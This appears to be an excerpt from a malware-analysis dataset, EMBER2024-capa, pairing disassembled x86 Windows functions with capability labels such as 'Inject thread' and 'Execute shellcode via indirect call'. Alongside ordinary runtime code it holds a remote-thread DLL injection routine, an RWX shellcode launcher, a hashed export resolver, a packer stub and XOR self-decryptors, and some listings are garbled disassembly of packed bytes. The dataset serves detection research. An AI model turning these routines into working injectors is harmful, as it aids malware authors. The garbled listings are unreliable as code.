joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40bc35
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x40bc78
call fcn.0040fb4d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40bc78
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40bc93
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.0040b7ec
test ebx, ebx
mov esi, eax
je 0x40bc91
test edi, edi
je 0x40bc91
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x410265
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x410293
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4102b1
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004101cf
jmp 0x4102b1
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4102b1
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.004101cf
test edi, edi
mov eax, edi
jne 0x41029b
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x433d20]
test ecx, ecx
je 0x410374
jmp 0x410264
ret 8

Function at 0x412b79
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430c44]
jne 0x412b83
repz ret
jmp fcn.00418ede

Function at 0x4132dd
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x41330a
call fcn.00413fe1
mov dword [eax], esi
call fcn.00413fce
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0041728e
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x4132e6
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x413339
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00413ff4
pop ecx
call fcn.00413fce
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x413360
test al, 1
je 0x413360
test byte [esp + 0xc], 2
je 0x413360
call fcn.00413fe1
mov dword [eax], 5
call fcn.00413fce
mov dword [eax], 0xd
jmp 0x413330
xor eax, eax
pop esi
ret
Function at 0x41e282
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00419f0b
xor ebx, ebx
cmp dword [0x434a64], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x41e357
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x41e2c2
xor eax, eax
jmp 0x41e41b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x429e90
push edi
call esi
cmp eax, ebx
je 0x41e2bb
push eax
call fcn.00419ea8
mov dword [esp], 0x429e80
push edi
mov dword [0x434a64], eax
call esi
push eax
call fcn.00419ea8
mov dword [esp], 0x429e6c
push edi
mov dword [0x434a68], eax
call esi
push eax
call fcn.00419ea8
mov dword [0x434a6c], eax
lea eax, [ebp - 8]
push eax
call fcn.0041354b
test eax, eax
pop ecx
pop ecx
je 0x41e325
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00417192
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x41e357
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00419ea8
cmp eax, ebx
pop ecx
mov dword [0x434a74], eax
je 0x41e357
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00419ea8
pop ecx
mov dword [0x434a70], eax
mov eax, dword [0x434a70]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x41e3d0
cmp dword [0x434a74], esi
je 0x41e3d0
push eax
call fcn.00419f14
pop ecx
call eax
cmp eax, ebx
je 0x41e39d
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x434a74]
call fcn.00419f14
pop ecx
call eax
test eax, eax
je 0x41e39d
test byte [ebp - 0x18], 1
jne 0x41e3d0
lea eax, [ebp - 0xc]
push eax
call fcn.00413582
test eax, eax
pop ecx
je 0x41e3b8
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00417192
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x41e3c7
or dword [ebp + 0x10], 0x200000
jmp 0x41e401
or dword [ebp + 0x10], 0x40000
jmp 0x41e401
mov eax, dword [0x434a68]
cmp eax, esi
je 0x41e401
push eax
call fcn.00419f14
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x41e401
mov eax, dword [0x434a6c]
cmp eax, esi
je 0x41e401
push dword [ebp - 4]
push eax
call fcn.00419f14
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x434a64]
call fcn.00419f14
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x423b4c
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x430c44]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00423ae1
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00413aa0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x423b9b
cmp dword [ebp - 0x1c], 5
jb 0x423bb3
jmp 0x423baf
cmp dword [ebp - 0x10], 1
jne 0x423bb3
cmp dword [ebp - 0x1c], 4
ja 0x423baf
jne 0x423bb3
cmp dword [ebp - 0x18], 0
jbe 0x423bb3
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x42a854
call fcn.004239b5
test eax, eax
jge 0x423bd4
mov byte [0x432040], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00412b79
add ebp, 0x78
leave
ret
Function at 0x401e40
Capabilities:
Terminate process

Disassembly:
inc ebp
xor ebp, esp
sub esp, 0xffffffe1
or byte [ebx - 0x72a9f38b], 0x4d
mov byte [edx - 0x5c], ch
in eax, dx
push esi
call fcn.0040366d
mov ecx, dword [ebp - 0x23]
mov edx, dword [0x9740c0c8]
push eax
push ecx
add edx, 0x40
push 0x40d4f1
push edx
xchg edi, eax
rol byte [eax - 0x5eeabf3f], 1
lodsb al, byte [esi]
add al, byte [eax + eax - 0x7d]
les edx, [eax*4 + 0x50c90fc0]
push str.Total_of__d_requests_completed_n
call dword [0xfa40c1d3]
lahf
invalid

Function at 0x4080f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
in al, dx
inc ebp
or al, 0x8b
dec ebp
or byte [ebx - 0x40], dl
push edi
mov ebp, dword [esi]
adc al, 0x85
ror byte [ebx - 0x74f48b09], 0x45
adc ch, dl
add byte [ecx], ah
add byte [eax], al
jmp 0x408122
mov eax, 0xcccccccd
mov bl, 0xa
imul dword [eax - 0x75fce63f]
scasd eax, dword es:[edi]
dec esi
imul bl
sub cl, al
add cl, 0x30
test al, 0xc1
sbb dword [ebx], eax
mov ch, byte [edi + 0x2aebf64e]
enter 0xffffffffffffc180, 0x30
jmp 0x40815e
mov byte [esi], cl
ror edx, 1
test edx, edx
pop ecx
loop 0x40812a
inc ebp
sbb byte [ebx], ch
xor byte [ecx - 0x213974c8], cl
mov edx, 0x90c3405b
or dl, byte [ebp - 0x75]
in al, dx
and esi, dword [edi + 0xc]
mov byte [ebp + 0x10], cl
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x18]
xor al, 0xc0
ja 0x408172
dec ebx
add eax, 0x77fffb83
add al, 0x85
leave
jne 0x408191
jno 0x408132
jg 0x4081a8
jl 0x4081d5
cmp ebx, 0x7fffffff
ja 0x4081a8
in al, dx
pop ds
invalid
aad 0x17
sbb al, 0x8b
push ebp
adc al, 0x50
push edi
push edx
xchg byte [ebx - 0x1a], dl
dec edi
push eax
invalid
test dword [edi + 0x4d8b0bb0], esp
adc al, 0xc7
add dword [eax], eax
add byte [eax], al
add bl, ch
and eax, dword [edx + 0x7c0d7fc0]
add al, 0x4f
arpl word [ebx + 7], si
dec ebx
xchg ebx, eax
add byte [eax], al
add bl, ch
add dh, byte [ebx]
sbb dword [edx - 0x367aebab], esp
mov dword [edx], ecx
je 0x4081da
push esi
fild dword [ebx - 0x27f3ff30]
adc eax, 0
or al, 0xd8
push esi
sub eax, dword [eax]
push 0xa
push eax
push ebx
call fcn.0040b385
adc eax, 0x8af28bc8
sal dword [edx + 0x2aeaf60a], 0xd8
dec edi
xor al, 0x8e
mov ah, 0xe2
invalid
Function at 0x40b385
Capabilities:
Resolve function by parsing pe exports

Disassembly:
nop
jmp 0x40b23c
movzx ecx, word [edx + 0x26]
jmp 0x40b250
mov esi, dword [edx + 0x28]
nop
xor edi, edi
nop
jmp 0x40b262
xor eax, eax
nop
jmp 0x40b270
lodsb al, byte [esi]
jmp 0x40b27c
cmp al, 0x61
nop
jmp 0x40b290
jl 0x40b2a5
nop
jmp 0x40b2a2
sub al, 0x20
nop
jmp 0x40b2b4
ror edi, 0xd
jmp 0x40b2c4
add edi, eax
nop
jmp 0x40b2d5
dec ecx
jne 0x40b257
nop
jmp 0x40b2e9
nop
jmp 0x40b2fb
push edx
nop
push edi
nop
jmp 0x40b30a
mov edx, dword [edx + 0x10]
mov eax, dword [edx + 0x3c]
jmp 0x40b31e
add eax, edx
jmp 0x40b32a
mov eax, dword [eax + 0x78]
nop
test eax, eax
nop
jmp 0x40b33c
je 0x40b517
nop
add eax, edx
nop
push eax
mov ebx, dword [eax + 0x20]
mov ecx, dword [eax + 0x18]
jmp 0x40b35c
add ebx, edx
nop
jmp 0x40b36f
test ecx, ecx
jmp 0x40b380
je 0x40b503
dec ecx
mov esi, dword [ebx + ecx*4]
nop
jmp 0x40b39c
xor edi, edi
nop
jmp 0x40b3ae
add esi, edx
nop
nop
jmp 0x40b3bc
xor eax, eax
ror edi, 0xd
lodsb al, byte [esi]
nop
jmp 0x40b3d4
add edi, eax
cmp al, ah
jne 0x40b3b1
nop
jmp 0x40b3ec
nop
add edi, dword [ebp - 8]
jmp 0x40b402
cmp edi, dword [ebp + 0x24]
jne 0x40b36f
nop
jmp 0x40b41f
nop
pop eax
mov ebx, dword [eax + 0x24]
jmp 0x40b431
add ebx, edx
nop
jmp 0x40b444
mov cx, word [ebx + ecx*2]
nop
jmp 0x40b459
mov ebx, dword [eax + 0x1c]
nop
jmp 0x40b46c
add ebx, edx
nop
mov eax, dword [ebx + ecx*4]
add al, 0x8b
nop
jmp 0x40b485
add eax, edx
nop
jmp 0x40b499
mov dword [esp + 0x24], eax
jmp 0x40b4aa
pop ebx
jmp 0x40b4b9
pop ebx
jmp 0x40b4cd
popal
pop ecx
nop
jmp 0x40b4e1
pop edx
jmp 0x40b4f1
push ecx
nop
jmp eax
jmp 0x40b515
pop eax
nop
jmp 0x40b526
pop edi
pop edx
jmp 0x40b536
mov edx, dword [edx]
nop
jmp 0x40b547
jmp 0x40b22c
Function at 0x44fb40
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x43e015
lea edi, [esi - 0x3d015]
push edi
jmp 0x44fb5a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x44fb61
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x44fb50
mov eax, 1
add ebx, ebx
jne 0x44fb73
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x44fb84
jne 0x44fba3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x44fba3
dec eax
add ebx, ebx
jne 0x44fb90
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x44fb68
add ebx, ebx
jne 0x44fb9f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x44fbf5
xor ecx, ecx
sub eax, 3
jb 0x44fbbb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x44fc2a
sar eax, 1
mov ebp, eax
jmp 0x44fbc6
add ebx, ebx
jne 0x44fbc6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x44fb94
inc ecx
add ebx, ebx
jne 0x44fbd4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x44fb94
add ebx, ebx
jne 0x44fbe1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x44fbd6
jne 0x44fbf2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x44fbd6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x44fc14
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x44fc06
jmp 0x44fb56
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x44fc14
add edi, ecx
jmp 0x44fb56
pop esi
mov edi, esi
mov ecx, 0x1353
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x44fc32
cmp byte [edi], 0xa
jne 0x44fc32
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x44fc37
lea edi, [esi + 0x4d000]
mov eax, dword [edi]
or eax, eax
je 0x44fca6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x557e4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x55834]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x44fc64
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5583c]
or eax, eax
je 0x44fca0
mov dword [ebx], eax
add ebx, 4
jmp 0x44fc81
call dword [esi + 0x55838]
mov ebp, dword [esi + 0x55840]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x44fcda
sub esp, 0xffffff80
jmp 0x401240

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x648c1729
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x648c1a27
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x648c1e10
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x648c603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x648c6034]
sub esp, 4
test ebx, ebx
je 0x648c1e5b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x648c1e54
test esi, esi
je 0x648c1e54
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x648c1e30
mov dword [esp], 0x648c603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x648c2040
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x648c4174
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x648c2090
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x648c2168
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x648c20ce
cmp eax, 4
jne 0x648c20f0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x648c20de
cmp edx, 4
je 0x648c20de
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.648c2040
Function at 0x413c64
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
cmp dword [ebp + 0xc], 0
je 0x413d63
call fcn.004f78c2
mov dword [ebp - 0x10], eax
push 0xf0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x413d0b
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x413cdc
push str.DLGINIT_resource_was_found__but_could_not_be_loaded._n
push 0x57fb8c
call fcn.00465365
add esp, 8
xor eax, eax
jmp 0x413dac
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x413d03
push 0x146
push str.occmgr.cpp
call fcn.004ee570
test eax, eax
je 0x413d03
int3
xor edx, edx
test edx, edx
jne 0x413ce9
jmp 0x413d63
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
jne 0x413d2e
push 0x14e
push str.occmgr.cpp
call fcn.004ee570
test eax, eax
je 0x413d2e
int3
xor edx, edx
test edx, edx
jne 0x413d14
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0xffffffff
je 0x413d63
mov ecx, dword [ebp - 0x18]
cmp dword [ecx], 0
je 0x413d58
push str.Dialog_has_OLE_controls__but_no_matching_DLGINIT_resource._n
push 0x57fbcc
call fcn.00465365
add esp, 8
jmp 0x413d63
mov edx, dword [ebp - 0x18]
add edx, 4
mov dword [ebp - 0x18], edx
jmp 0x413d34
mov dword [ebp - 0xc], 1
cmp dword [ebp - 4], 0
je 0x413d8a
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x1c]
call dword [edx + 0x1c]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 4], 0
je 0x413da9
cmp dword [ebp - 8], 0
je 0x413da9
mov eax, dword [ebp - 8]
push eax
call fcn.00413590
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4537e0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00430100
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x4538ab
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x4538ab
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x45385e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x453869
or bh, 8
and edi, 0x8000000
je 0x453884
mov eax, dword [0x5bae1c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x4538ab
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x453c80
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x453cab
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x453ccf
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x453cea
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20